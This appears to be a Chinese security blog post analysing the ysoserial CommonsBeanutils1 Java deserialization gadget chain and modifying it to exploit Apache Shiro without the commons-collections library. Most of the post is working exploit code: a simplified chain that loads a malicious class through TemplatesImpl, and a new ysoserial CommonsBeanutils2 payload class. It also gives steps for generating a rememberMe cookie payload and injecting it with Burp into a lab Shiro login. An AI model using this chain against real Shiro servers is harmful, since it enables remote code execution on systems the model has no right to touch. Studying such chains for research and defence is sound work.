ysoserial-CommonsBeanutils1的shiro无依赖链改造

ysoserial-CommonsBeanutils1的shiro无依赖链改造

一、CB1利用链分析

此条利用链需要配合Commons-Beanutils组件来进行利用,在shiro中是自带此组件的。

先上大佬写的简化版利用链,和ysoserial中的代码有点不同,但原理是一样的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    // 修改值的方法,简化代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 创建恶意类,用于报错抛出调用链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
//        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();

    }
}

在分析每一条利用链的方法时候,我都会从以下几个点来进行分析:

1、首先要找到反序列化入口(source)
2、调用链(gadget)
3、触发漏洞的目标方法(sink)

而此条利用链,这三点分别为:

1)入口:

PriorityQueue#readObject

2)调用链:

PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties

3)触发漏洞的目标方法:

TemplatesImpl#getOutputProperties

PriorityQueue

PriorityQueue#readObject作为CC2的入口点,在CB1链中同样是以此为入口,其readObject中有个heapify方法

ysoserial-CommonsBeanutils1的shiro无依赖链改造

跟进heapify,在713行会去调用siftDown方法,前提是满足for循环中的size值大于等于2

ysoserial-CommonsBeanutils1的shiro无依赖链改造

siftDown方法中,通过一个if判断后,会调用到两个方法,而在siftDownUsingComparator中才是执行调用链的操作

ysoserial-CommonsBeanutils1的shiro无依赖链改造

跟进siftDownUsingComparator方法,可以看到在699行调用了comparator#compare,整个PriorityQueue类的漏洞调用链就是到这里了

ysoserial-CommonsBeanutils1的shiro无依赖链改造

BeanComparator

BeanComparator是一个bean比较器,用来比较两个JavaBean是否相等,其实现了java.util.Comparator接口,有一个Comparator方法

ysoserial-CommonsBeanutils1的shiro无依赖链改造

可以看到,在Comparator方法中先判断property值是否为空,之后调用了PropertyUtils.getProperty方法。而PropertyUtils.getProperty这个方法会去调用传入的javaBean中this.property值的getter方法,这个点是调用链的关键!

TemplatesImpl

漏洞的触发点就是利用了TemplatesImpl#getOutputProperties()方法的加载字节码,来调用到恶意类的构造方法、静态方法。整个调用链就不分析了,这里写下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

二、Shiro无依赖利用链改造

在ysoserial中的CB1链,其实是依赖commons.collections包的,也就是CC链中的包,因为其BeanComparator类的构造方法中,会调用到ComparableComparator.getInstance()ComparableComparator类就是在commons.collections包中。

ysoserial-CommonsBeanutils1的shiro无依赖链改造

shiro中自带了Commons-Beanutils组件,并没有自带commons.collections包。所以我们尝试修改CB1链来使其脱离commons.collections包的限制。

需要满足三个条件:

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

在这里师傅们找到了两个类

CaseInsensitiveComparator和java.util.Collections$ReverseComparator

CaseInsensitiveComparator类为例,CaseInsensitiveComparator对象是通过String.CASE_INSENSITIVE_ORDER拿到的

ysoserial-CommonsBeanutils1的shiro无依赖链改造

只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator类的构造函数中即可使if为真,从而不调用到CC组件中的类

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

ysoserial-CommonsBeanutils1的shiro无依赖链改造

这里使用P神已经写好的POC来进行测试,项目地址在https://github.com/phith0n/JavaThings

打开shiroattack项目

ysoserial-CommonsBeanutils1的shiro无依赖链改造

运行以上的Client1后,会生成cookie中对应的rememberMe值

ysoserial-CommonsBeanutils1的shiro无依赖链改造

shiro环境同样使用P神的环境https://github.com/phith0n/JavaThings,注释掉环境shiro环境中的commons-collections组件

ysoserial-CommonsBeanutils1的shiro无依赖链改造

访问/login.jsp界面勾选rememberMe登录,使用burp抓包,在cookie里面添加rememberMe=payload;

ysoserial-CommonsBeanutils1的shiro无依赖链改造

另一个类java.util.Collections$ReverseComparator,也是通过其静态方法拿到

ysoserial-CommonsBeanutils1的shiro无依赖链改造

同样只需要把Collections.reverseOrder()放入BeanComparator类的构造函数中即可

BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

三、ysoserial改造

把以下代码加入ysoserial的payloads模块即可

package ysoserial.payloads;

import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutils2 implements ObjectPayload<Object>{

    public Object getObject(final String command) throws Exception {

        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutils2.class, args);
    }
}

ysoserial-CommonsBeanutils1的shiro无依赖链改造

打包jar

mvn clean package -DskipTests

ysoserial-CommonsBeanutils1的shiro无依赖链改造

参考:

https://cloud.tencent.com/developer/article/1816604

https://www.cnblogs.com/bitterz/p/15401105.html

上一篇:QT从入门到入土(六)——定时器


下一篇:【无标题】